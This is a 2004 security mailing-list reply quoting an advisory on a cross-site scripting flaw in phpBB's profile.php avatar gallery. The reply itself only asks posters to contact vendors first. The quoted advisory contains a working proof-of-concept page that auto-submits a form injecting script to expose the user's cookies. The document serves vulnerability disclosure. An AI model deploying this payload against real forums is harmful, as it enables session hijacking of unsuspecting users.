RE: Fw: phpBB profile.php Cross Site Scripting Vulnerability

[micheal@michealcottingham.com]

I'm going to say this again=2E Please contact security@ before posting her=
e,
and give them an appropriate amount of time to reply=2E This goes for _any=
_
software company=2E Thank you=2E

----- Original Message -----=20
From: "Cheng Peng Su" <apple_soup@msn=2Ecom>
To: <bugtraq@securityfocus=2Ecom>
Sent: Saturday, March 20, 2004 10:36 PM
Subject: phpBB profile=2Ephp Cross Site Scripting Vulnerability


|
|
|
| ################################################## ###################
|
| Advisory Name : phpBB profile=2Ephp Cross Site Scripting Vulnerability
| Release Date : Mar 21,2004
| Application : phpBB
| Version : phpBB 2=2E0=2E6d or others?
| Platform : PHP
| Vendor URL : http://www=2Ephpbb=2Ecom/
| Author : Cheng Peng Su(apple_soup_at_msn=2Ecom)
|
| ################################################## ###################
|
| Proof of Conecpt:
|
| This vuln is in profile=2Ephp,when you click [Show Gallery],phpBB
| will show you Avatar gallery,asking you to choose one for yourself=2E
| The hole is in the form,after submitting phpBB will use the value of
| "avatarselect" as the path of the gallery directly,without filtering
| any illegal characters=2E
|
| Exploit:
|
| -------------exploit=2Ehtm--------------
| <form name=3D'f' action=3D"http://site/profile=2Ephp?mode=3Deditprofil=
e"
method=3D"post">
| <input name=3D"avatarselect" value=3D'"
><script>alert(document=2Ecookie)</script>'>
| <input type=3D"submit" name=3D"submitavatar" value=3D"Select avatar">
| </form>
| <script>
| window=2Eonload=3Dfunction()
| {
| document=2Eall=2Esubmitavatar=2Eclick();
| }
| </script>
| ---------------end-------------------
|
| Contact:
|
| Cheng Peng Su
| Class 1,Senior 2,High school attached to Wuhan University
| Wuhan,Hubei,China(430072)
| apple_soup_at_msn=2Ecom
|


--------------------------------------------------------------------
mail2web - Check your email from the web at
http://mail2web=2Ecom/ =2E